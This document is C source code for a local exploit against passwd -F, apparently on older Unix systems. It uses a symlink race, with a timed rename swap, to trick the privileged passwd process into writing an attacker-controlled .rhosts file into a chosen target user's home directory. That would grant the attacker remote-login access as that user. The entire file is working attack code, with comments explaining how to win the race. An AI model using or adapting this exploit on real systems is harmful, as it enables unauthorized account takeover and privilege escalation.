#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <pwd.h>


main(argc, argv)
int argc;
char *argv[];
{
        FILE    *passwd_in, *passwd_out;
        int     race_child_pid = -1;
        struct  stat st;
        struct  passwd *pw;
        char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
                buf[1024], cmd[256], nowhere[256], nowhere2[256],
                dir[256];

        if (argc != 2) {
                fprintf(stderr, "Usage: %s target-user\n",
                        argv[0]);
                exit(1);
        }

        /*
         * Get Target User info
         */
        if ((pw = getpwnam(argv[1])) == NULL) {
                fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
                        argv[0], argv[1]);
                exit(1);
        }
        strcpy(dir, pw->pw_dir);

        /*
         * Set up names for directories/links we will access
         */
        sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
        sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
        sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
        sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
        sprintf(ptmp, "%s/ptmp", dir);
        symlink(pwd_dir, pwd_link);

        /*
         * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
         * The bigger our 'passwd file', the longer passwd(1) takes
         * to write it out, the greater chance we have of noticing
         * it doing so and winning the race.
         */
        mkdir(pwd_dir, 0700);
        sprintf(pwd_file, "%s/.rhosts", pwd_dir);
        if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
                fprintf(stderr, "Cant open %s!\n", pwd_file);
                exit(1);
        }
        if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
                fprintf(stderr, "Cant open /etc/passwd\n");
                exit(1);
        }
        if ((pw = getpwuid(getuid())) == NULL) {
                fprintf(stderr, "Who are you?\n");
                exit(1);
        }
        fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
        for (;;) {
                fseek(passwd_in, 0L, SEEK_SET);
                while(fgets(buf, sizeof(buf), passwd_in))
                        fputs(buf, passwd_out);
                if (ftell(passwd_out) > 32768)
                        break;
        }
        fclose(passwd_in);
        fflush(passwd_out);

        /*
         * Fork a new process.  In the parent, run passwd -F.
         * In the child, run the race process(es).
         */
        if ((race_child_pid = fork()) < 0) {
                perror("fork");
                exit(1);
        }
        if (race_child_pid) {
                /*
                 * Parent - run passwd -F
                 */
                sprintf(pwd_file, "%s/.rhosts", pwd_link);
                puts("Wait until told you see \"Enter your password now!\"");
                sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
                system(cmd);
                kill(race_child_pid, 9);
                exit(0);
        } else {
                /*
                 * Child
                 */
                int fd = fileno(passwd_out);
                time_t last_access;

                /*
                 * Remember the current 'last accessed'
                 * time for our password file.  Once this
                 * changes it, we know passwd(1) is reading
                 * it, and we can switch the symlink.
                 */
                if (fstat(fd, &st)) {
                        perror("fstat");
                        exit(1);
                }
                last_access = st.st_atime;

                /*
                 * Give passwd(1) a chance to start up.
                 * and do its initialisations.  Hopefully
                 * by now, its asked the user for their
                 * password.
                 */
                sleep(5);
                write(0, "Enter your password now!\n",
                      sizeof("Enter your password now!\n"));

                /*
                 * Link our directory to our target directory
                 */
                unlink(pwd_link);
                symlink(dir, pwd_link);

                /*
                 * Create two links pointing to nowhere.
                 * We use rename(2) to switch these in later.
                 * (Using unlink(2)/symlink(2) is too slow).
                 */
                symlink(pwd_dir, nowhere);
                symlink(dir, nowhere2);

                /*
                 * Wait until ptmp exists in our target
                 * dir, then switch the link.
                 */
                while ((open(ptmp, O_RDONLY)==-1));
                rename(nowhere, pwd_link);

                /*
                 * Wait until passwd(1) has accessed our
                 * 'password file', then switch the link.
                 */
                while (last_access == st.st_atime)
                        fstat(fd, &st);
                rename(nowhere2, pwd_link);
        }
}
